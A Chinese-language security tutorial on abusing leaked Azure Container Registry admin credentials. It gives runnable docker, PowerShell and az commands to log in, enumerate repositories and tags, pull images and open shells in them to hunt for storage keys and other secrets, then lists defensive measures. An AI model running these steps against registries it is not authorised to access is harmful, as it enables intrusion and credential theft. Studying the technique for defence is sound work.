Azure Container Registries 凭据泄露场景下的利用思路
字数 1071 2025-08-20 18:18:23
Azure Container Registries 凭据泄露场景下的利用思路
1. 概述
Azure Container Registries (ACR) 是 Microsoft 提供的用于管理云上 Docker 镜像的服务。当 ACR 的管理员凭据泄露时,攻击者可以利用这些凭据进行一系列操作,包括访问容器镜像、提取敏感信息,甚至可能提升在 Azure 订阅中的权限。
2. 前提条件
- 已获取 ACR 管理员账户凭据(用户名/密码格式)
- 已知 ACR URL(如 exampleacr.azurecr.io)
- 本地已安装 Docker 和 PowerShell(用于自动化操作)
3. 利用步骤
3.1 登录 ACR
使用 Docker 命令登录到目标 ACR:
docker login -u USER_NAME -p PASSWORD EXAMPLEACR.azurecr.io
3.2 枚举容器信息
3.2.1 列出所有容器
使用 Docker Registry API 列出所有容器:
$username = "EXAMPLEACR"
$password = "A_$uper_g00D_P@ssW0rd"
$registry = "EXAMPLEACR.azurecr.io"
$base64AuthInfo = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("{0}:{1}" -f $username,$password)))
$uri = "https://$($registry)/v2/_catalog"
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers @{Authorization=("Basic {0}" -f $base64AuthInfo)}
$response.repositories
3.2.2 获取特定容器的版本信息
$imageName = "dockercore"
$uri = "https://$($registry)/v2/$($imageName)/tags/list"
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers @{Authorization=("Basic {0}" -f $base64AuthInfo)}
$response.tags
3.3 拉取容器镜像
使用 Docker 拉取特定容器:
docker pull EXAMPLEACR.azurecr.io/dockercore:1234
3.4 运行容器并获取交互式 Shell
docker run -it --entrypoint /bin/bash EXAMPLEACR.azurecr.io/dockercore:1234
4. 使用 Azure CLI 的替代方法
如果已拥有 Azure 订阅访问权限,可以使用 Azure CLI 命令:
4.1 列出订阅中的注册表
az acr list
4.2 列出特定注册表中的容器
az acr repository list --name netspiACR
4.3 列出容器的版本信息
az acr repository show-tags --name netspiACR --repository ACRtestImage
4.4 通过 Docker 认证
docker login EXAMPLEACR.azurecr.io
5. 实际攻击场景
- 发现公开的 Azure 存储账户,其中包含 ACR 管理员凭据的 Terraform 脚本
- 使用 Docker 连接到 ACR
- 列出容器名称和版本信息
- 提取容器镜像
- 在每个容器上运行 shell 并检查文件
- 可能发现:
- Azure 订阅的存储密钥
- Key Vault 凭据
- 其他服务主体凭据
6. 防御建议
- 禁用管理员账户:默认情况下 ACR 管理员账户是禁用的,保持此状态
- 网络限制:对于高级 SKU,限制 ACR 对特定网络的访问
- 权限控制:注意 ACR 的读权限,因为它允许列出和提取任何容器
- 凭据保护:避免将 ACR 凭据存储在代码仓库或配置文件中
- 定期轮换:定期更换 ACR 凭据
7. 自动化工具
MicroBurst 工具中的 GET-AzACR 函数可以自动化上述过程:
Get-AzACR -username EXAMPLEACR -password A_$uper_g00D_P@ssW0rd -registry EXAMPLEACR.azurecr.io
使用 -all 参数获取所有容器的完整版本信息。
8. 总结
ACR 凭据泄露可能导致严重的安全问题,攻击者可以:
- 访问和下载私有容器镜像
- 从容器中提取敏感信息
- 可能获取 Azure 订阅中的其他凭据
组织应实施适当的访问控制和监控措施来保护 ACR 资源。